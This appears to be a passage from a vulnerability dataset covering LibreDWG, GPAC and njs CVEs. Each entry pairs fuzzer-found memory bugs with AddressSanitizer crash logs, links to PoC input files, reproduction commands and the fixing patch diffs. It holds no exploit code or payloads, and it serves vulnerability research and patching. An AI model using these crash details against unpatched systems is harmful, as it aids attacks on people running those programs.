READ of size 8 at 0x611000000258 thread T0
#0 0x55f9e1e04e04 in read_pages_map ../../src/decode_r2007.c:1007
#1 0x55f9e1e04e04 in read_r2007_meta_data ../../src/decode_r2007.c:1774
#2 0x55f9e1dd66d7 in decode_R2007 ../../src/decode.c:2973
#3 0x55f9e1dd66d7 in dwg_decode ../../src/decode.c:241
#4 0x55f9e177b466 in dwg_read_file ../../src/dwg.c:210
#5 0x55f9e1776d4b in test_SVG ../../examples/dwg2svg2.c:116
#6 0x55f9e1776d4b in main ../../examples/dwg2svg2.c:501
#7 0x7f595f806b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#8 0x55f9e17779a9 in _start (/home/user/linhlhq/libredwg/asan_build/examples/dwg2svg2+0x2d59a9)
0x61100000025c is located 0 bytes to the right of 220-byte region [0x611000000180,0x61100000025c)
allocated by thread T0 here:
#0 0x7f5960052d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x55f9e1de73be in read_system_page ../../src/decode_r2007.c:635
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../src/decode_r2007.c:1007 in read_pages_map
Shadow bytes around the buggy address:
0x0c227fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c227fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c227fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c227fff8020: 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa fa
0x0c227fff8030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c227fff8040: 00 00 00 00 00 00 00 00 00 00 00[04]fa fa fa fa
0x0c227fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==4335==ABORTING
```
---
Comment #1 by linhlhq:
**2.heap-buffer-overflow in bit_search_sentinel ../../src/bits.c:1844**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_0.9.3.2564/id:000361%2Csig:06%2Csrc:001213%2B008342%2Cop:splice%2Crep:4
ASAN says:
```
READ of size 1 at 0x7f8f1c662900 thread T0
#0 0x556621519ff4 in bit_search_sentinel ../../src/bits.c:1844
#1 0x556621ae0a78 in decode_R13_R2000 ../../src/decode.c:1437
#2 0x556621b0cd42 in dwg_decode ../../src/decode.c:239
#3 0x5566214b2466 in dwg_read_file ../../src/dwg.c:210
#4 0x5566214add4b in test_SVG ../../examples/dwg2svg2.c:116
#5 0x5566214add4b in main ../../examples/dwg2svg2.c:501
#6 0x7f8f1ae29b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#7 0x5566214ae9a9 in _start (/home/user/linhlhq/libredwg/asan_build/examples/dwg2svg2+0x2d59a9)
0x7f8f1c662900 is located 0 bytes to the right of 401664-byte region [0x7f8f1c600800,0x7f8f1c662900)
allocated by thread T0 here:
#0 0x7f8f1b675d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x5566214b234c in dat_read_file ../../src/dwg.c:73
#2 0x5566214b234c in dwg_read_file ../../src/dwg.c:203
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../src/bits.c:1844 in bit_search_sentinel
Shadow bytes around the buggy address:
0x0ff2638c44d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff2638c44e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff2638c44f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff2638c4500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff2638c4510: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ff2638c4520:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff2638c4530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff2638c4540: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff2638c4550: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff2638c4560: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff2638c4570: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==4471==ABORTING
```
---
Comment #2 by linhlhq:
**3.heap-buffer-overflow in bfr_read ../../src/decode.c:1548**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_0.9.3.2564/id:000328%2Csig:06%2Csrc:007279%2Cop:havoc%2Crep:8
ASAN says:
```
==4589==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61b0000014f4 at pc 0x7fe367220733 bp 0x7fff95bb63e0 sp 0x7fff95bb5b88
READ of size 96 at 0x61b0000014f4 thread T0
#0 0x7fe367220732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
#1 0x559f5ee1a6a9 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#2 0x559f5ee1a6a9 in bfr_read ../../src/decode.c:1548
#3 0x559f5ee1a6a9 in read_R2004_section_info ../../src/decode.c:2062
#4 0x559f5f3e2392 in decode_R2004 ../../src/decode.c:2910
#5 0x559f5f3eac7d in dwg_decode ../../src/decode.c:245
#6 0x559f5ed90466 in dwg_read_file ../../src/dwg.c:210
#7 0x559f5ed8bd4b in test_SVG ../../examples/dwg2svg2.c:116
#8 0x559f5ed8bd4b in main ../../examples/dwg2svg2.c:501
#9 0x7fe366a39b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x559f5ed8c9a9 in _start (/home/user/linhlhq/libredwg/asan_build/examples/dwg2svg2+0x2d59a9)
0x61b0000014f4 is located 0 bytes to the right of 1652-byte region [0x61b000000e80,0x61b0000014f4)
allocated by thread T0 here:
#0 0x7fe367285d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x559f5ee1a1e7 in read_R2004_section_info ../../src/decode.c:2007
#2 0x2ddf1 (<unknown module>)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
Shadow bytes around the buggy address:
0x0c367fff8240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fff8250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fff8260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fff8270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fff8280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c367fff8290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00[04]fa
0x0c367fff82a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fff82b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fff82c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fff82d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fff82e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==4589==ABORTING
```
---
Comment #3 by linhlhq:
**4.Crafted input will lead to Memory allocation failed in read_sections_map ../../src/decode_r2007.c:917**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_0.9.3.2564/id:000271%2Csig:06%2Csrc:007728%2Cop:havoc%2Crep:2
ASAN says:
```
==4839==ERROR: AddressSanitizer failed to allocate 0x6e0002000 (29527908352) bytes of LargeMmapAllocator (error code: 12)
==4839==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x561598094000-0x561598fd9000 /home/user/linhlhq/libredwg/asan_build/examples/dwg2svg2
0x5615991d9000-0x5615991f1000 /home/user/linhlhq/libredwg/asan_build/examples/dwg2svg2
0x5615991f1000-0x5615992b7000 /home/user/linhlhq/libredwg/asan_build/examples/dwg2svg2
......
0x7feefb0c4000-0x7feefb0c8000
0x7feefb0c8000-0x7feefb0cf000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7feefb0cf000-0x7feefb2ce000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7feefb2ce000-0x7feefb2cf000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7feefb2cf000-0x7feefb2d0000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7feefb2d0000-0x7feefb2d3000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7feefb2d3000-0x7feefb4d2000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7feefb4d2000-0x7feefb4d3000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7feefb4d3000-0x7feefb4d4000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7feefb4d4000-0x7feefb6bb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7feefb6bb000-0x7feefb8bb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7feefb8bb000-0x7feefb8bf000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7feefb8bf000-0x7feefb8c1000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7feefb8c1000-0x7feefb8c5000
0x7feefb8c5000-0x7feefba62000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7feefba62000-0x7feefbc61000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7feefbc61000-0x7feefbc62000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7feefbc62000-0x7feefbc63000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7feefbc63000-0x7feefbdb3000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7feefbdb3000-0x7feefbfb3000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7feefbfb3000-0x7feefbfb6000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7feefbfb6000-0x7feefbfb9000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7feefbfb9000-0x7feefcc1e000
0x7feefcc1e000-0x7feefcc45000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7feefccaa000-0x7feefce38000
0x7feefce38000-0x7feefce45000
0x7feefce45000-0x7feefce46000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7feefce46000-0x7feefce47000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7feefce47000-0x7feefce48000
0x7ffe47737000-0x7ffe47758000 [stack]
0x7ffe477e4000-0x7ffe477e7000 [vvar]
0x7ffe477e7000-0x7ffe477e9000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==4839==End of process memory map.
==4839==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7feefbd4cc02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7feefbd6b595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7feefbd56492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7feefbd628a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7feefbc8f8f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7feefbc8a04b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7feefbd41d00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x5615989dad4d in read_sections_map ../../src/decode_r2007.c:917
#8 0x5615989ecaee in read_r2007_meta_data ../../src/decode_r2007.c:1800
#9 0x5615989c86d7 in decode_R2007 ../../src/decode.c:2973
#10 0x5615989c86d7 in dwg_decode ../../src/decode.c:241
#11 0x56159836d466 in dwg_read_file ../../src/dwg.c:210
#12 0x561598368d4b in test_SVG ../../examples/dwg2svg2.c:116
#13 0x561598368d4b in main ../../examples/dwg2svg2.c:501
#14 0x7feefb4f5b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#15 0x5615983699a9 in _start (/home/user/linhlhq/libredwg/asan_build/examples/dwg2svg2+0x2d59a9)
```
---
Comment #4 by linhlhq:
**5.heap-buffer-overflow in copy_compressed_bytes ../../src/decode_r2007.c:233**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_0.9.3.2564/id:000426%2Csig:06%2Csrc:009599%2Cop:havoc%2Crep:8
ASAN says:
```
==4975==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x629000009e7c at pc 0x564f138ce00b bp 0x7ffcab4ef510 sp 0x7ffcab4ef500
READ of size 8 at 0x629000009e7c thread T0
#0 0x564f138ce00a in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#1 0x564f138ce00a in copy_compressed_bytes ../../src/decode_r2007.c:233
#2 0x564f138ce00a in decompress_r2007 ../../src/decode_r2007.c:519
#3 0x564f138d42c7 in read_data_page ../../src/decode_r2007.c:694
#4 0x564f138d42c7 in read_data_section ../../src/decode_r2007.c:758
#5 0x564f138e1c04 in read_2007_section_handles ../../src/decode_r2007.c:1544
#6 0x564f138e1c04 in read_r2007_meta_data ../../src/decode_r2007.c:1811
#7 0x564f138bd6d7 in decode_R2007 ../../src/decode.c:2973
#8 0x564f138bd6d7 in dwg_decode ../../src/decode.c:241
#9 0x564f13262466 in dwg_read_file ../../src/dwg.c:210
#10 0x564f1325dd4b in test_SVG ../../examples/dwg2svg2.c:116
#11 0x564f1325dd4b in main ../../examples/dwg2svg2.c:501
#12 0x7f78102e7b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#13 0x564f1325e9a9 in _start (/home/user/linhlhq/libredwg/asan_build/examples/dwg2svg2+0x2d59a9)
0x629000009e7c is located 2 bytes to the right of 19578-byte region [0x629000005200,0x629000009e7a)
allocated by thread T0 here:
#0 0x7f7810b33d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x564f138d3d31 in decode_rs ../../src/decode_r2007.c:580
#2 0x564f138d3d31 in read_data_page ../../src/decode_r2007.c:689
#3 0x564f138d3d31 in read_data_section ../../src/decode_r2007.c:758
SUMMARY: AddressSanitizer: heap-buffer-overflow /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 in memcpy
Shadow bytes around the buggy address:
0x0c527fff9370: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff9380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff9390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff93a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff93b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c527fff93c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[02]
0x0c527fff93d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff93e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff93f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff9400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff9410: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==4975==ABORTING
```
---
Comment #5 by linhlhq:
**6.NULL pointer dereference in get_next_owned_entity ../../src/dwg.c:935**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_0.9.3.2564/id:000113%2Csig:06%2Csrc:000000%2Cop:flip2%2Cpos:398289
ASAN says:
```
=================================================================
==5183==ERROR: AddressSanitizer: SEGV on unknown address 0x0000000000b0 (pc 0x55c862f1795c bp 0x0c680000057d sp 0x7ffc02b51490 T0)
==5183==The signal is caused by a READ memory access.
==5183==Hint: address points to the zero page.
#0 0x55c862f1795b in get_next_owned_entity ../../src/dwg.c:935
#1 0x55c862f0814b in output_BLOCK_HEADER ../../examples/dwg2svg2.c:347
#2 0x55c862f07078 in output_SVG ../../examples/dwg2svg2.c:395
#3 0x55c862f07078 in test_SVG ../../examples/dwg2svg2.c:118
#4 0x55c862f07078 in main ../../examples/dwg2svg2.c:501
#5 0x7fd3ed723b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#6 0x55c862f079a9 in _start (/home/user/linhlhq/libredwg/asan_build/examples/dwg2svg2+0x2d59a9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ../../src/dwg.c:935 in get_next_owned_entity
==5183==ABORTING
```
---
Comment #6 by linhlhq:
**7.NULL pointer dereference in dwg_dynapi_entity_value /home/user/linhlhq/libredwg/asan_build/src/gen-dynapi.pl:1395**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_0.9.3.2564/id:000026%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:132007
ASAN says:
```
=================================================================
==5356==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x7f0447efc57e bp 0x7ffe6ac888f0 sp 0x7ffe6ac88058 T0)
==5356==The signal is caused by a READ memory access.
==5356==Hint: address points to the zero page.
#0 0x7f0447efc57d (/lib/x86_64-linux-gnu/libc.so.6+0xbb57d)
#1 0x7f04486496ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce)
#2 0x56329a7c1785 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#3 0x56329a7c1785 in dwg_dynapi_entity_value /home/user/linhlhq/libredwg/asan_build/src/gen-dynapi.pl:1395
#4 0x563299fbaf1f in output_BLOCK_HEADER ../../examples/dwg2svg2.c:335
#5 0x563299fba078 in output_SVG ../../examples/dwg2svg2.c:395
#6 0x563299fba078 in test_SVG ../../examples/dwg2svg2.c:118
#7 0x563299fba078 in main ../../examples/dwg2svg2.c:501
#8 0x7f0447e62b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#9 0x563299fba9a9 in _start (/home/user/linhlhq/libredwg/asan_build/examples/dwg2svg2+0x2d59a9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb57d)
==5356==ABORTING
```
---
Comment #7 by rurban:
Thanks, but dwg2svg2 is not even installed. cannot you just fuzz the official dwg2SVG instead?
Which master exactly? I'm assuming tag 0.9.3.2564. I'm constantly fixing fuzzing bugs right now, just >300 in the last 2 days. | https://nvd.nist.gov/vuln/detail/CVE-2020-6615 | |
gpac.cve-2023-46930 | GPAC 2.3-DEV-rev605-gfc9e29089-master contains a SEGV in gpac/MP4Box in gf_isom_find_od_id_for_track /afltest/gpac/src/isomedia/media_odf.c:522:14. | https://github.com/gpac/gpac/commit/3809955065afa3da1ad580012ec43deadbb0f2c8 | CWE-787 | gpac/gpac | 3809955065afa3da1ad580012ec43deadbb0f2c8~1 | diff --git a/src/isomedia/media_odf.c b/src/isomedia/media_odf.c
index 76ecf9d135..5d842028ca 100644
--- a/src/isomedia/media_odf.c
+++ b/src/isomedia/media_odf.c
@@ -517,6 +517,13 @@ u32 gf_isom_find_od_id_for_track(GF_ISOFile *file, u32 track)
i=0;
while ( (od_tk = (GF_TrackBox*)gf_list_enum(file->moov->trackList, &i))) {
+ if (!od_tk || !od_tk->Media || !od_tk->Media->handler || !od_tk->Media->information ||
+ !od_tk->Media->information->sampleTable || !od_tk->Media->information->sampleTable->SampleSize ) {
+
+ continue;
+ }
+
+
if (od_tk->Media->handler->handlerType != GF_ISOM_MEDIA_OD) continue;
for (j=0; j<od_tk->Media->information->sampleTable->SampleSize->sampleCount; j++) {
| https://github.com/gpac/gpac/issues/2666 | AddressSanitizer:DEADLYSIGNAL
=================================================================
==3351432==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000002c (pc 0x7ffff6697edd bp 0x7ffffffe65f0 sp 0x7ffffffe6420 T0)
==3351432==The signal is caused by a READ memory access.
==3351432==Hint: address points to the zero page.
#0 0x7ffff6697edd in gf_isom_find_od_id_for_track /afltest/gpac/src/isomedia/media_odf.c:522:14
#1 0x7ffff6910e8e in gf_media_export_saf /afltest/gpac/src/media_tools/media_export.c:851:16
#2 0x7ffff69121c1 in gf_media_export /afltest/gpac/src/media_tools/media_export.c:1391:49
#3 0x4fe755 in mp4box_main /afltest/gpac/applications/mp4box/mp4box.c:6577:7
#4 0x7ffff58cc082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#5 0x42adad in _start (/afltest/gpac/bin/gcc/MP4Box+0x42adad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /afltest/gpac/src/isomedia/media_odf.c:522:14 in gf_isom_find_od_id_for_track
==3351432==ABORTING | === https://github.com/gpac/gpac/issues/2666 ===
Title: SEGV in gpac/MP4Box in gf_isom_find_od_id_for_track /afltest/gpac/src/isomedia/media_odf.c:522:14
---
Body:
# SEGV in MP4Box
### Description
SEGV in gpac/MP4Box.
#0 0x7ffff6697edd in gf_isom_find_od_id_for_track /afltest/gpac/src/isomedia/media_odf.c:522:14
### Version
```shell
MP4Box - GPAC version 2.3-DEV-rev605-gfc9e29089-master
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration:
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_FFMPEG GPAC_HAS_VORBIS GPAC_HAS_LINUX_DVB
```
### ASAN Log
./MP4Box -def -saf -unhint -ocr -out /dev/null poc5gpac
```shell
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3351432==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000002c (pc 0x7ffff6697edd bp 0x7ffffffe65f0 sp 0x7ffffffe6420 T0)
==3351432==The signal is caused by a READ memory access.
==3351432==Hint: address points to the zero page.
#0 0x7ffff6697edd in gf_isom_find_od_id_for_track /afltest/gpac/src/isomedia/media_odf.c:522:14
#1 0x7ffff6910e8e in gf_media_export_saf /afltest/gpac/src/media_tools/media_export.c:851:16
#2 0x7ffff69121c1 in gf_media_export /afltest/gpac/src/media_tools/media_export.c:1391:49
#3 0x4fe755 in mp4box_main /afltest/gpac/applications/mp4box/mp4box.c:6577:7
#4 0x7ffff58cc082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#5 0x42adad in _start (/afltest/gpac/bin/gcc/MP4Box+0x42adad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /afltest/gpac/src/isomedia/media_odf.c:522:14 in gf_isom_find_od_id_for_track
==3351432==ABORTING
```
### Reproduction
```shell
git clone https://github.com/gpac/gpac.git
cd gpac
./configure --enable-sanitizer
make -j24
./bin/gcc/MP4Box -def -saf -unhint -ocr -out /dev/null poc5gpac
```
### PoC
poc5gpac: https://github.com/Frank-Z7/z-vulnerabilitys/blob/main/poc5gpac
### **Impact**
This vulnerability is capable of causing crashes.
### Reference
https://github.com/gpac/gpac
### Environment
```
ubuntu:20.04
gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)
clang version 10.0.0-4ubuntu1
afl-cc++4.09
```
### Credit
Zeng Yunxiang
Song Jiaxuan | https://nvd.nist.gov/vuln/detail/CVE-2023-46930 | ||
gpac.cve-2023-3291 | Heap-based Buffer Overflow in GitHub repository gpac/gpac prior to 2.2.2. | https://huntr.dev/bounties/526954e6-8683-4697-bfa2-886c3204a1d5 | https://github.com/gpac/gpac/commit/6a748ccc3f76ff10e3ae43014967ea4b0c088aaf | CWE-122, CWE-787 | gpac/gpac | 6a748ccc3f76ff10e3ae43014967ea4b0c088aaf~1 | diff --git a/src/filters/reframe_mp3.c b/src/filters/reframe_mp3.c
index e81dd174a6..6ed5608b86 100644
--- a/src/filters/reframe_mp3.c
+++ b/src/filters/reframe_mp3.c
@@ -265,7 +265,7 @@ void id3dmx_flush(GF_Filter *filter, u8 *id3_buf, u32 id3_buf_size, GF_FilterPid
break;
}
- if (buf_alloc<=fsize) {
+ if (buf_alloc <= fsize+2) {
_buf = gf_realloc(_buf, fsize+3);
buf_alloc = fsize+3;
}
| https://nvd.nist.gov/vuln/detail/CVE-2023-3291 | ||||
njs.cve-2023-27727 | Nginx NJS v0.7.10 was discovered to contain a segmentation violation via the function njs_function_frame at src/njs_function.h. | https://github.com/nginx/njs/issues/617 | https://github.com/nginx/njs/commit/484411868bf9351ae7513008f6efd28caa72574f | CWE-125 | nginx/njs | 484411868bf9351ae7513008f6efd28caa72574f~1 | diff --git a/src/njs_object_prop.c b/src/njs_object_prop.c
index 6bf1c280c..005c2eac5 100644
--- a/src/njs_object_prop.c
+++ b/src/njs_object_prop.c
@@ -102,7 +102,11 @@ njs_object_property(njs_vm_t *vm, njs_object_t *object, njs_lvlhsh_query_t *lhq,
ret = njs_lvlhsh_find(&object->hash, lhq);
if (njs_fast_path(ret == NJS_OK)) {
- goto found;
+ prop = lhq->value;
+
+ if (prop->type != NJS_WHITEOUT) {
+ goto found;
+ }
}
ret = njs_lvlhsh_find(&object->shared_hash, lhq);
diff --git a/src/njs_value.c b/src/njs_value.c
index 296f057a2..c54e36d36 100644
--- a/src/njs_value.c
+++ b/src/njs_value.c
@@ -1487,13 +1487,16 @@ njs_value_property_delete(njs_vm_t *vm, njs_value_t *value, njs_value_t *key,
return NJS_ERROR;
}
- /* GC: release value. */
if (removed != NULL) {
- njs_value_assign(removed, njs_prop_value(prop));
+ if (njs_is_valid(njs_prop_value(prop))) {
+ njs_value_assign(removed, njs_prop_value(prop));
+
+ } else {
+ njs_set_undefined(removed);
+ }
}
prop->type = NJS_WHITEOUT;
- njs_set_invalid(njs_prop_value(prop));
return NJS_OK;
}
diff --git a/src/test/njs_unit_test.c b/src/test/njs_unit_test.c
index ec432b356..4e537917f 100644
--- a/src/test/njs_unit_test.c
+++ b/src/test/njs_unit_test.c
@@ -22855,6 +22855,16 @@ static njs_unit_test_t njs_shell_test[] =
{ njs_str("var a = []; Object.defineProperty(a, 'b', {enumerable: true, get: Object}); a" ENTER),
njs_str("[\n b: '[Getter]'\n]") },
+ { njs_str("var e = Error()" ENTER
+ "Object.defineProperty(e, 'message', { configurable: true, set: Object })" ENTER
+ "delete e.message; e" ENTER),
+ njs_str("Error") },
+
+ { njs_str("var e = Error()" ENTER
+ "Object.defineProperty(e, 'message', { configurable: true, get(){ return 'foo'} })" ENTER
+ "e" ENTER),
+ njs_str("Error: foo") },
+
/* Temporary indexes */
{ njs_str("var a = [1,2,3], i; for (i in a) {Object.seal({});}" ENTER),
| https://github.com/nginx/njs/issues/617 | ==31577==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000030 (pc 0x00000053ee4e bp 0x7ffc9539f0f0 sp 0x7ffc9539f0d0 T0)
==31577==The signal is caused by a READ memory access.
==31577==Hint: address points to the zero page.
#0 0x53ee4e in njs_function_frame /root/njs/src/njs_function.h:155:9
#1 0x53ee4e in njs_function_call2 /root/njs/src/njs_function.c:508:11
#2 0x51f100 in njs_function_apply /root/njs/src/njs_function.h:192:12
#3 0x51f100 in njs_object_property /root/njs/src/njs_object_prop.c:138:12
